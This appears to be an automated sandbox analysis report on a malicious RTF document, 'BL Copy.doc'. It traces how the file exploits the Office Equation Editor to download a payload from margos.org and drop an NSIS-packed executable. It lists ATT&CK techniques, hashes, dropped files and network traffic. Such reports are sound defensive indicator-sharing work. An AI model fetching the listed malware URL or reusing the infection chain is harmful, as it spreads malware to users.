Code function: 4_2_729A1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Code function: 4_2_037952EA rdtsc

Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03796BA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_03794F83 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0379744F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\Puportd92.exe	Code function: 4_2_0379689E mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Code function: 4_2_0379809F RtlAddVectoredExceptionHandler,

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\user\AppData\Roaming\Puportd92.exe C:\Users\user\AppData\Roaming\Puportd92.exe

Source: C:\Users\user\AppData\Roaming\Puportd92.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	Path Interception	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	13 Exploitation for Client Execution	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	122 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	4 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BL Copy.doc	28%	Virustotal		Browse
BL Copy.doc	21%	ReversingLabs	Document-RTF.Exploit.CVE-2018-0802

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp	100%	Avira	EXP/CVE-2018-0798.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\SYNT[1].exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsq4443.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nsq4443.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Puportd92.exe	5%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
margos.org	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://margos.org/dda/SYNT.exe	12%	Virustotal		Browse
http://margos.org/dda/SYNT.exe	100%	Avira URL Cloud	malware
https://bangladeshshoecity.com/im	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
margos.org	131.153.37.3	true	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://margos.org/dda/SYNT.exe	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
4,0,414120409,0000000000089000,00000104,00000010,00020000,00000000,1,0	true		low
https://bangladeshshoecity.com/im	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_ErrorError	Puportd92.exe, 00000004.00000002.745588168.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Puportd92.exe, 00000004.00000000.414258604.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Puportd92.exe.2.dr, SYNT[1].exe.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
131.153.37.3	margos.org	United States		20454	SSASN2US	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	558760
Start date:	24.01.2022
Start time:	13:10:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 39s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	BL Copy.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.winDOC@4/13@1/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 41.6% (good quality ratio 41%) Quality average: 86.8% Quality standard deviation: 21.2%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
TCP Packets have been reduced to 100
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:10:20	API Interceptor	428x Sleep call for process: EQNEDT32.EXE modified

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	95264
Entropy (8bit):	7.521910150341084
Encrypted:	false
SSDEEP:	1536:6/T2X/jN2vxZz0DTHUpouZZb5a6fy2W8utruxlQIj/qrlyZ6PeZuH8k29xE+1Q:6bG7N2kDTHUpouZZbUuy2W8uxuzRQT4o
MD5:	37FC2AA213D1607545A9B876F4AA543E
SHA1:	7DA3E745AC618D2AEE602D1DE1957AA4442C98ED
SHA-256:	4486318D812A32852DB5A4B8BD19DC456890B6C9A1BD03FFE94E2EF189394D90
SHA-512:	BF750937CDE6AF507628A730B34BE52BBA983BE99861F46FD92EBFBC3F4A9C7D30534AC5378E802A0B09BAD8D168450679ABD6D5E5543A8ED88467C051D1A32A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	low
IE Cache URL:	http://margos.org/dda/SYNT.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j..........-5............@.................................U.....@.............................................(............_...............................................................................................text....h.......j.................. ..`.rdata...............n..............@..@.data...............................@....ndata...`...`...........................rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0A92385B-F20B-4105-B494-8D633B606BC4}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	900096
Entropy (8bit):	6.03355767758671
Encrypted:	false
SSDEEP:	24576:vY/kDtsyDULLk9iFySeLMu/lUHGguNaUgjg:vj78LkPR1Kmg6R
MD5:	8D94FAB27E6935FF6376285B86DEBEF4
SHA1:	70CC1162934A554997072B2562949800CE6892EB
SHA-256:	77DA522253F20310855BC9619BD29D479954BDDCF86BF56641B5BCC6CAC494D3
SHA-512:	07D20DE4C21561850C9F721659F36427C71B15A00288D837B6AE0096BF7AB1E3B616B7CAA9250D0C033FEF3915E2FB045DC94A3BE528FFD9927064A303460FFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{573B2821-EBC2-4E0A-8D46-4D648AF74F39}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3549687709010672
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlb3:IiiiiiiiiifdLloZQc8++lsJe1MzYZ/
MD5:	1B75F87CA07BD845F536D3F0F1C09AC4
SHA1:	547330804AEAF8F94A8338646BD73F52E1580E4F
SHA-256:	08A75D998CCC0666C86A3DD58935E1E80F528D6D5EA13B0528D8D2D74D0E4F00
SHA-512:	5062AEE0CD155A56478A09EE834BD88269908344808521132B28E902CE91E976F91DCDC86EF4153BB65D8C3E4859D381C5472D838299CC528D97E1119B884AB3
Malicious:	false
Reputation:	low
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D4F37F31-6975-4B52-BDB7-988DCA18729A}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	3.516318069982334
Encrypted:	false
SSDEEP:	384:JGkov9zBATsMRfwAOwHFbTzTOFhb2RfwQJLGvOiVdvQZ:+lzBAwAwAO8iFN2RfwQkGovQZ
MD5:	73D570E2E179B26C6332D721A0CDD691
SHA1:	6C47D6DB6140033306879464B9132AA8091224F3
SHA-256:	2B9134E36148DBC74109A55D39106D773398E965CF5E00A33AA416DCDAA9B8A3
SHA-512:	0AC6C5BF1389B5E8266FD86D190B25699DC0125D823E382DC805AAE171CC1DBBFE4CC79A11DE07609ECFF7B60F2BB764955D7C1466B279351A048FD87832D6D6
Malicious:	false
Preview:	>.5.2.?./.>.?.]...,...?./...6.%.'.%.:.!.).%.>.6.?.3...6.].$.].~.=.6.).?.1.:.:.?.<.4.!.@.?.[.2.3.?.!.;.1.8.@.%.^.4.[.5.?.'.5.0.+.7.2...3.....[.?.;.^.5.#./.4.8.<.7.%.~.).%...6.3.7.0.+.?.%.#.!./.[..+.7.~.2.~.(.-.&.'.<.4.<.=.<.'.%.%.<.&.~.[.4.[.<.(.+...<.1.\|.4.`.).].9..%.?.9.#.\|.\|.0.&.(..@.3...].=...,._.?.!.[...1.2.&.=.+.^.?.9.#.-.`.,.8.?.<.?.2.(.,.../.\|.^.#...%.9.!.=.&.~._...>...@.3.0..9.[./.&...[.3.8.=.,.8.1.>...].<.?.?.~.0.(.`.+...=.[.\|.(.#.?.?._...-.!.).1.:.(...+.#.+..&.~.+.7.?.&...?.?.!.;.9...(.-.0.:...\|.^.~.2.5.?...?.%...).).'.~.?.?.#.9.?.?...^.&.....@.,._.>.7.`.1._.?.`.).(.?..,.&.`.~.6.#.9.`.`.(.(.)...?.+.).~.?.].>.?.5...2.0...?.5.^.5.8.].7.,...9.?...!.(.^.-.\|.^...^.#.5.).^.'.7.].$.9...?.%.+.~.4.<.?.&.4.=.?.8.?.3.>...3.!.6.!.1.'.?.+.`.`.?...?.0.`.?.6.%.2...,...+./.2.3.(.9.-.\|.^.=.&.[.6.:.;.-.~.^.2.+.&.7.%.;.%.;...?..%.?.).4.0.$...?.7.\|...~.#.]...1.?.?..~.7.?./.?.%.!./.4.3.\|.$.4.%.>...%.?.7.>.%.^.?.].(.,.4.).].0.?.?.3.;.9...4.(.^.9.6./.*.6.?.8.`.6.-.0...$.(.;.?.3.?.@...<.`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DF251CD5-FF6C-451C-B429-835255A63BB9}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Stenkastenes.dat

Download File

Process:	C:\Users\user\AppData\Roaming\Puportd92.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	33645
Entropy (8bit):	7.620146538761287
Encrypted:	false
SSDEEP:	768:tEn1wCHxTRSJLLV7yueznYuQa6OjAaOIOaW3BISs:8UJ/V7ytYy6oebxIn
MD5:	0614A80093A3722C605EFD8B79692F37
SHA1:	16CBC940F64C331B2AD8F75C1C59321EB7CDEF1D
SHA-256:	FE4DB2C0884A3AD00C2B0D47C119B1293520E35308993870EAC4B211847E7229
SHA-512:	3E4110AC344CCF265F5FB28D247A6AD62D00485D2CC22398012B10E679E4D043FACC0CC1AFD6DA4D565D15304C082684E525490571AB349D963C38A6D669B815
Malicious:	false
Preview:	.W_.?.u.....u.....u........h.U!C.4$...i.4$P.k...$....,$.x...,$lcK.Z1..4.Tf......9.u.W..........T..,..F......j.va...j....}@W.3...........tV=...B...". ..^z.D.:......T..;...nL~..#Kvx.1X..g....O.........z@.W..s-.q..Y.....F......j.va...j....}@W.3...........tV=...B...". ..^z.D.:......T..;...nL~..#Kvx.1X..g....O.........z@.W..s-.q..Y.q.l..6.#H.\:.g!..S.6y...z...V.QB....V!.\|7..K$.:..c..T.x...8o.^(!...Tf..T...Tfw.......9.f.o."..5f.o....T...q.y.......HlQy.......mzUf...5...#.m.zBZ.p.......#.....`.2.].Tfqc.f..3x.T>qk.g....m....T......T...Tf.c....T..!.B.@.o.g B...#g B.s..og.B.h..0b...........).{.0...\f..".y.p...........b...N:....}i.K...<........%..R.....%Af...W...c.....h....y....[.B4.2%..v.... F...I.TfA..j.g......9....g....f7sk.g..<.b...m.Uf.\`V....'.......1D"H...n...N.Z.(.\|....'h.=y$XC......X.;}.../...9.V.....Tf4..H.....E....a.:....@.3?.gPB.Bb.y.pr..U.......<........kR..'K.oF.........#...d..R.........R.+e.'*1T.......j.<.T&...f.y.p."t.m2E..9.(...

C:\Users\user\AppData\Local\Temp\gamer.txt

Download File

Process:	C:\Users\user\AppData\Roaming\Puportd92.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	16555
Entropy (8bit):	5.9518641421213605
Encrypted:	false
SSDEEP:	384:HpBOk6soHG6Nun3UPBApXPE8eMag91API7ee872UmLZ7:HmkfOG6NNyp/dn19N7U71mLZ
MD5:	695A2030432B3D981B012A42EDCA055A
SHA1:	31283CF8F970E22E7C9B6FCB811B9C1608997211
SHA-256:	F0568B8400FE6F4621B3E62C56B3C3AB9712DD6D30966A348EB3497ACF6B226A
SHA-512:	0095FE21135FCCB9C5723D583C2087FB9D9CD61CB90BB5C96E11EA76469A3744B7F068B7301F7342AF95642D18921763B250FBB9E8F16F5CC9124300E6A97C5C
Malicious:	false
Preview:	EMr8t0Hhq715RQjpV8l9LooUdWJgMtMf2pE83U2wsss81G5KJFLeIXMa1T93HGjNEbFfy4IRaWjctEH1I3hWG74wsJYdZXNmLTqTenvgec8qpu98Zp4XlrrAhbuVePBg5nxMeoxIojglOuJAvAZef0Nak7gm0ix8xSE70QeFJMFjJvEAWRFFFtZOYkcHhCgewp7YBE8OekOsOrcexafRG4AdZaWBz3yCE4qMP0NAcxJ4DHeCdzbc6hW8i8otpHEpw0OGDSzOwMl9VCfHuXXhaw0zVcWRcWKg1sABn5d7OrJ2xhlYvPjqrY5w7z8FN0FgE8XtOgiSbRGN0toQLHc2vjrb52VFWESFWMUHsKSZfQ4PbqkilIzeyLOvDdo44fuucajegzqku9brw7f8p9R2zFXqooBphSkPzHY6XmnyhU3WyDWzX4CroF6xRQXhjjk7OqKFaLu4ORq54CnRXdGfPhd7dzPgYFxqUkZaqo2ckBxUeh3QLr4p1ievUUewtab3AdAT2kjQDq4NVPoAQ5jJvQkApXm49qXhPrvrU2YzKVhY5ajHSj55DsIeOSI066y24ayag5YtldIsnpkasB3iqzZiXwJJSOwZVHVJGChfSumllKT835iwi6k9utWFP5wIpTCqM6CflHh1JSg5HTMqV8fq5VseXa9XzYpdeJu9OBtsanwwES7WtQoLDnmScaoIfCjrIqw61PPDM8QEGM14KrtcVF5ERKQSh6jPyKwNObsN9Ts4FbeSzqr0KnDMekc8p8tRrSRckLbRBa58jfVkjWjcQeuGU8J8gr9f2EG5bdrGEds4pfOwG1TGJcUCr6T8jH9Q82m4wdSeL3wJDr5HYJN0ESkrvn77s4vH90F55tPEmd6ZjNInCzW2BOZfhfO10qNfHa7ZhuyiWVIf05P6uzThDVcRpFtIjVTvGctBTjxS6LEiUlof2CsVigpyEGuXekSTdPsflqGf5sMzKcxKlDJc6mtYp7gIqQODeycT

C:\Users\user\AppData\Local\Temp\nsq4443.tmp\System.dll

Download File

Process:	C:\Users\user\AppData\Roaming\Puportd92.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\BL Copy.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Mon Aug 30 20:08:58 2021, mtime=Mon Aug 30 20:08:58 2021, atime=Mon Jan 24 20:10:17 2022, length=1786089, window=hide
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.546161529424097
Encrypted:	false
SSDEEP:	12:8mtrgXg/XAlCPCHaXeBhB/a/X+WvLtKCicvbbI4DtZ3YilMMEpxRljKrcCTd+d//:8mn/XTuzIlLtKJefDv3qSnQd7Qy
MD5:	7EC079A589E223EA710023BA80FA32D0
SHA1:	CF0E1AE03F45A62872CE0AE2C4C3ED7F9461CC5A
SHA-256:	487F10096B7FE25C270236A760E490889609A6B758452B97ECFA34D2CC25A839
SHA-512:	D633F8F196227B61FF01D88D79E926834647A2D8FCDEBEB24988A3BFAB612155164071085C4BB0FBB042BD5B4391793DA774CF2212A114B1674AA29363A77BE7
Malicious:	false
Preview:	L..................F.... ......?......?.......f....@...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......S ...user.8......QK.X.S ....&=....U...............A.l.b.u.s.....z.1......S"...Desktop.d......QK.X.S"...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....`.2..@..8TI. .BLCOPY~1.DOC..D.......S ..S ..........................B.L. .C.o.p.y...d.o.c.......u...............-...8...[............?J......C:\Users\..#...................\\320946\Users.user\Desktop\BL Copy.doc.".....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.B.L. .C.o.p.y...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......320946..........D_....3N...W...9..g............[D_....3N...W...9..g............[....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.5744734447445365
Encrypted:	false
SSDEEP:	3:bDuMJl/yK2LUmX1r92LUv:bC04x
MD5:	53214A2BE77F3EF7792D59A4DB8070A1
SHA1:	7F9093E238BFCDA013455621806F51CABA2D3143
SHA-256:	DF3D77E9B39B9D59048D0B409FD17075E83849F65EAFD898C77983CD94ABA0A4
SHA-512:	2D4F8B0BE73BB07917F9F8895B50DD4B75BA9DBAE630944EACF82D95C8E125608AADA799BC61800AEA3DDE94B48B343A4762D0D3005FB394B90C79FA17C3FBFD
Malicious:	false
Preview:	[folders]..Templates.LNK=0..BL Copy.LNK=0..[doc]..BL Copy.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.5038355507075254
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyEGlBsB2q/WWqlFGa1/ln:vdsCkWtYlqAHR9l
MD5:	45B1E2B14BE6C1EFC217DCE28709F72D
SHA1:	64E3E91D6557D176776A498CF0776BE3679F13C3
SHA-256:	508D8C67A6B3A7B24641F8DEEBFB484B12CFDAFD23956791176D6699C97978E6
SHA-512:	2EB6C22095EFBC366D213220CB22916B11B1234C18BBCD5457AB811BE0E3C74A2564F56C6835E00A0C245DF964ADE3697EFA4E730D66CC43C1C903975F6225C0
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Puportd92.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	95264
Entropy (8bit):	7.521910150341084
Encrypted:	false
SSDEEP:	1536:6/T2X/jN2vxZz0DTHUpouZZb5a6fy2W8utruxlQIj/qrlyZ6PeZuH8k29xE+1Q:6bG7N2kDTHUpouZZbUuy2W8uxuzRQT4o
MD5:	37FC2AA213D1607545A9B876F4AA543E
SHA1:	7DA3E745AC618D2AEE602D1DE1957AA4442C98ED
SHA-256:	4486318D812A32852DB5A4B8BD19DC456890B6C9A1BD03FFE94E2EF189394D90
SHA-512:	BF750937CDE6AF507628A730B34BE52BBA983BE99861F46FD92EBFBC3F4A9C7D30534AC5378E802A0B09BAD8D168450679ABD6D5E5543A8ED88467C051D1A32A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j..........-5............@.................................U.....@.............................................(............_...............................................................................................text....h.......j.................. ..`.rdata...............n..............@..@.data...............................@....ndata...`...`...........................rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$L Copy.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.5038355507075254
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyEGlBsB2q/WWqlFGa1/ln:vdsCkWtYlqAHR9l
MD5:	45B1E2B14BE6C1EFC217DCE28709F72D
SHA1:	64E3E91D6557D176776A498CF0776BE3679F13C3
SHA-256:	508D8C67A6B3A7B24641F8DEEBFB484B12CFDAFD23956791176D6699C97978E6
SHA-512:	2EB6C22095EFBC366D213220CB22916B11B1234C18BBCD5457AB811BE0E3C74A2564F56C6835E00A0C245DF964ADE3697EFA4E730D66CC43C1C903975F6225C0
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, unknown version
Entropy (8bit):	3.541083524495001
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	BL Copy.doc
File size:	1786089
MD5:	2fea7c43cd327113333de7ff54800979
SHA1:	b2cf7c97bbfec5b765ee9402f57440910ec89e8b
SHA256:	6ed3aca39d91726d1f16ecb2fa8fc5cc38fa4cce1355bfd5186d2a22769e806c
SHA512:	3d38ba0e9cdad1103a3a90444e9146f740266517ecdccdd09bd340dc71d7834f446e8e7cceb3ce1c9a47921703704eaa75e538f1a07794db267d305b547ba921
SSDEEP:	12288:6mpug3wW7wsQejKAjZOAOZn+K3yZ1b8FIQtV6M7cQEBDnn0YJCru:6mzAW7wsQejK2ZXK+K3O1b8uQpcQW70u
File Content Preview:	{\rtf7737>52?/>?].,.?/.6%'%:!)%>6?3.6]$]~=6)?1::?<4!@?[23?!;18@%^4[5?'50+72.3..[?;^5#/48<7%~)%.6370+?%#!/[+7~2~(-&'<4<=<'%%<&~[4[<(+.<1\|4`)]9%?9#\|\|0&(@3.]=.,_?![.12&=+^?9#-`,8?<?2(,./\|^#.%9!=&~_.>.@309[/&.[38=,81>.]<??~0(`+.=[\|(#??_.-!)1:(.+#+*&~+7?&.

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	00001D6Ah								no
1	00001D30h								no

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 24, 2022 13:11:07.756122112 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:07.938119888 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:07.938235044 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:07.938873053 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.121952057 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138510942 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138607979 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138655901 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138699055 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138708115 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.138740063 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.138752937 CET	80	49165	131.153.37.3	192.168.2.22
Jan 24, 2022 13:11:08.138767958 CET	49165	80	192.168.2.22	131.153.37.3
Jan 24, 2022 13:11:08.138796091 CET	80	49165	131.153.37.3	192.168.2.22
